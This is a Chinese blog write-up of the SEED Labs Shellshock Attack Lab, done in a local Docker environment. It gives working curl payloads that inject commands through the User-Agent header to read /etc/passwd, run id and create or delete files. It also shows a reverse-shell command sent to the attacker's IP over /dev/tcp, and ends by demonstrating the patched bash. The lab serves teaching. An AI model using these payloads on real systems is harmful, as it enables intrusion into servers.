Quiet
  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT

Ram

  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT
Quiet主题
  • 软件安全
  • 环境变量

Shellshock Attack Lab

Ram
SeedLabs2.0

2025-11-02 21:51:09

文章目录
  1. Shellshock Attack Lab
    1. Environment Setup
    2. Task 1: Experimenting with Bash Function
    3. Task 2: Passing Data to Bash via Environment Variable
    4. Task 3: Launching the Shellshock Attack
      1. 问题
    5. Task 4: Getting a Reverse Shell via Shellshock Attack
    6. Task 5: Using the Patched Bash
    7. 总结

Shellshock Attack Lab

Environment Setup

SSH终于配置好了,现在用mac连上寝室的Ubuntu来完成。

首先配置一下docker,参考下面的链接。

Ubuntu

然后需要修改一下docker的配置,添加镜像或者走代理。

目前国内的镜像不太稳定,所以选择走代理。配置代理的步骤如下,可见已经成功拉取到了镜像。

image.png

其中配置信息如下, 192.168.195.1 是宿主机的IP地址,7890端口是VPN所在的端口。

image.png

将下面的IP地址映射添加到 /etc/hosts。

image.png

利用实验给好的 docker-compose.yml 启动docker。可以看发现我们启动了运行apache服务器的容器。

image.png

image.png

Task 1: Experimenting with Bash Function

设计一个实验。定义一个包含特殊内容的shell变量foo。用一个看上去是函数定义的字符串作为变量foo的值,并且在结尾的大括号后面添加一个额外的命令(echo)(左大括号前后都需要有一个空格)。在补丁版本的bash(/bin/bash)上尝试,对于当前进程来说,这些圆括号、大括号没有任何特别的含义,它们仅仅是一个变量的内容,就如同内容中的其他字符一样。 这也是用declare命令列出所有函数定义时显示为空的原因。因为foo只是一个变量,不是函数。

用export 命令标记该shell变量,这样它会作为环境变量传给子进程。此时运行有漏洞版本的bash,当一个子Bash进程被创建时,子shell将会解析该环境变量,把它转化为子函数定义。在解析的过程中,由于Shellshock漏洞,Bash将执行大括号后面的额外命令。因此,当有漏洞版本的Bash在子进程中运行后,一个“ extra”字符串被打印出来。

image.png

Task 2: Passing Data to Bash via Environment Variable

由于虚拟机的网络代理有一点问题,所以将docker中的服务的域名改为了www.seed-server2.com

  • 通过浏览器访问

image.png

经过比对发现HTTP 请求的HOST、USER_AGENT、ACCEPT等信息均为环境变量

  • 通过 curl 访问

下面展示了四种不同的方式。

# 修改请求报文头中的字段
curl -v www.seed-server2.com/cgi-bin/getenv.cgi
curl -A "my data" -v www.seed-server2.com/cgi-bin/getenv.cgi
curl -e "my data" -v www.seed-server2.com/cgi-bin/getenv.cgi
curl -H "AAAAAA: BBBBBB" -v www.seed-server2.com/cgi-bin/getenv.cgi

image.png

第二种方法的发现环境变量 HTTP_USER_AGENT发生了改变。

image.png

第三种方法的发现环境变量 HTTP_REFERER发生了改变。

image.png

第四种方法的发现新增的参数也被写到了环境变量里面。

image.png

Task 3: Launching the Shellshock Attack

攻击的目标如图。通过上面的实验可以知道,我们的环境变量会根据报文头传入 bash_shellshock ,且该bash存在环境变量的漏洞,所以可以通过这个方式来操控shell。

image.png

  1. 任务A
curl -A "() { : ;}; echo ; /bin/cat /etc/passwd"  \
http://www.seed-server2.com/cgi-bin/vul.cgi

image.png

  1. 任务B
curl -A "() { : ;}; echo ; /bin/id "  \
http://www.seed-server2.com/cgi-bin/vul.cgi

image.png

  1. 任务C
curl -A "() { : ;}; echo ; /bin/touch /tmp/rwb " \
http://www.seed-server2.com/cgi-bin/vul.cgi

curl -A "() { : ;}; echo; /bin/ls -l /tmp" \
http://www.seed-server2.com/cgi-bin/vul.cgi

image.png

  1. 任务D
curl -A "() { : ;}; echo; /bin/rm /tmp/rwb " \
http://www.seed-server2.com/cgi-bin/vul.cgi

curl -A "() { : ;}; echo; /bin/ls -l /tmp" \
http://www.seed-server2.com/cgi-bin/vul.cgi

image.png

问题

Q1:

不能打开/etc/shadow,因为只是www-data权限,权限不够,需要root权限

image.png

Q2:

不能成功,虽然能够作为环境变量传入,但不能成功将带空格的字符串设置为环境变量,所以不能攻击成功

curl -V http://www.seed-server2.com/cgi-bin/vul.cgi?() { : ;}; echo ; /bin/id 

image.png

Task 4: Getting a Reverse Shell via Shellshock Attack

虚拟机(attacker)的IP为 172.17.0.1 ,向docker(victim)输入下面的信息,即可以获取shell

curl -A "() { : ;}; echo; /bin/bash -i > /dev/tcp/172.17.0.1/9090 0>&1 2>&1"\ 
http://www.seed-server2.com/cgi-bin/vul.cgi

image.png

image.png

已经获取到了victim的bash

Task 5: Using the Patched Bash

修改 vul.cgi 并重新构建docker。

image.png

重新构建,这里报了一个错误,先把之前的docker清理了就可以了

# 停止所有容器
docker-compose down

# 清理所有未使用的容器、镜像、网络和构建缓存
docker system prune -a -f

# 清理 volumes(如果需要)
docker volume prune -f

docker-compose build

docker-compose up

可以发现task3中的攻击均失效了。

image.png

总结

本次实验比较简单。由于国内镜像的原因,docker的环境配置比较麻烦,以及之前配置的网络代理导致我在上网访问docker的时候出了一点问题。过程中,加深对环境变量的理解和熟悉了docker构建的操作,实验中最难最关键点在于反弹Shell的指令。

上一篇

Buffer Overflow Attack Lab(Server Version)

下一篇

Environment Variable and Set-UID Program Lab

©2026 By Ram. 主题:Quiet
Quiet主题